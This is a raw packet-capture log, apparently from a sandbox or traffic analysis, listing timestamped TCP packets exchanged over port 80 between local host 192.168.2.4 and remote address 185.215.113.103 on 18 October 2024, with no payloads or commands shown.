Oct 18, 2024 15:04:58.265089989 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.265089989 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.265177965 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.265196085 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.265212059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.265228987 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.265247107 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.265263081 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.265280962 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.265280962 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.265280962 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.265281916 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.265309095 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.265324116 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.265341043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.265357971 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.265408039 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.265408039 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.265438080 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.265919924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266031027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266046047 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266063929 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266089916 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.266091108 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266160965 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.266164064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266205072 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266232014 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266247988 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266262054 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266268015 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.266268015 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.266289949 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266305923 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266324997 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266345978 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.266345978 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.266398907 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266413927 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266429901 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266479969 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.266479969 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.266546965 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266561985 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266577959 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266592979 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266611099 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266632080 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.266632080 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.266650915 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266669989 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266685963 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266705990 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266716003 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.266731024 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266746044 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.266756058 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266808987 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.266850948 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266865969 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266882896 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266899109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266915083 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266932964 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.266984940 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267004967 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.267004967 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.267004967 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.267023087 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.267082930 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267102003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267117977 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267133951 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267149925 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267165899 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267170906 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.267170906 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.267184973 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267203093 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267218113 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267220974 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.267286062 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.267379045 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267417908 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267435074 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267451048 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267466068 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.267466068 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267477989 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.267482996 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267499924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267515898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267530918 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267546892 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267555952 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.267555952 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.267570972 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267637014 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.267637014 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.267707109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267720938 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.267847061 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.283404112 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283432007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283447981 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283494949 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.283514977 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283533096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283548117 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283565044 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.283565044 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283582926 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283684015 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283709049 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283725023 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283740997 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283751965 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.283751965 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.283751965 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.283756971 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283773899 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283791065 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283802032 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.283842087 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.283858061 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283874989 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283890963 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283905983 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283921957 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283937931 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.283988953 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.283988953 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.283988953 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.283991098 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.284015894 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.284034014 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.284034967 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.284075022 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.284462929 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.284491062 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.284507036 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.284545898 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.284596920 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.284611940 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.284630060 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.284647942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.284657955 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.284733057 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.284768105 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.284784079 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.284805059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.284821033 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.284822941 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.284837961 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.284856081 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.284872055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.284883976 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.284897089 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.284919024 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.284960985 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.284980059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.284987926 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.284995079 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285008907 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285026073 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285063028 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.285144091 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.285161972 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285178900 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285196066 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285211086 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285227060 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285243034 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285244942 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.285244942 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.285260916 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285305023 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285311937 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.285322905 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285391092 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.285470009 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285485983 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285502911 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285517931 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285521984 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.285533905 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285550117 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285552025 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.285567045 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285582066 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285587072 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.285598040 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285614967 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285631895 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.285660982 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.285784960 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285800934 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285816908 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285832882 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285847902 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285849094 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.285849094 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.285867929 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285883904 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285898924 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.285901070 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285918951 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.285950899 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.286147118 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.286334991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286354065 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286370039 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286386967 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286403894 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286407948 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.286427975 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286437035 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.286448956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286478043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286490917 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286505938 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286520958 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.286520958 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.286521912 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286539078 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286556959 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286572933 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286581039 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.286581039 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.286590099 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286606073 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286623955 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.286624908 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286652088 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286669970 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286684990 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286712885 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286731005 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286746979 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286751032 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.286751986 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.286751986 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.286762953 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286781073 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286788940 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.286798000 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286815882 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286824942 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.286829948 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286847115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286854029 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.286865950 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286884069 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286899090 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286916018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286920071 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.286920071 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.286932945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286945105 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.286950111 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286967039 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286983013 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.286999941 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287004948 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.287067890 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287082911 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.287082911 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.287085056 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287100077 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287168026 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.287194014 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287209988 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287223101 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287239075 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287245989 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.287255049 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287272930 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287276983 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.287291050 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287307024 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287336111 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.287336111 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.287343025 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287358999 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287374020 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287405014 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.287489891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287506104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287522078 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287539005 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287554979 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287570953 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287586927 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287591934 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.287591934 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.287591934 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.287601948 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287621975 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287626982 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.287662983 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.287729025 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287744045 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287760019 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287784100 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.287818909 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287836075 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287853003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287868977 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287882090 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.287882090 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.287883043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.287913084 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.306749105 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.306780100 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.306796074 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.306814909 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.306956053 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.384077072 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384097099 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384124041 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384140015 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384171963 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.384234905 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.384253025 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384270906 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384344101 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.384382963 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384412050 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384428024 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384453058 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384469032 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.384474039 CEST	50042	80	192.168.2.4	185.215.113.103
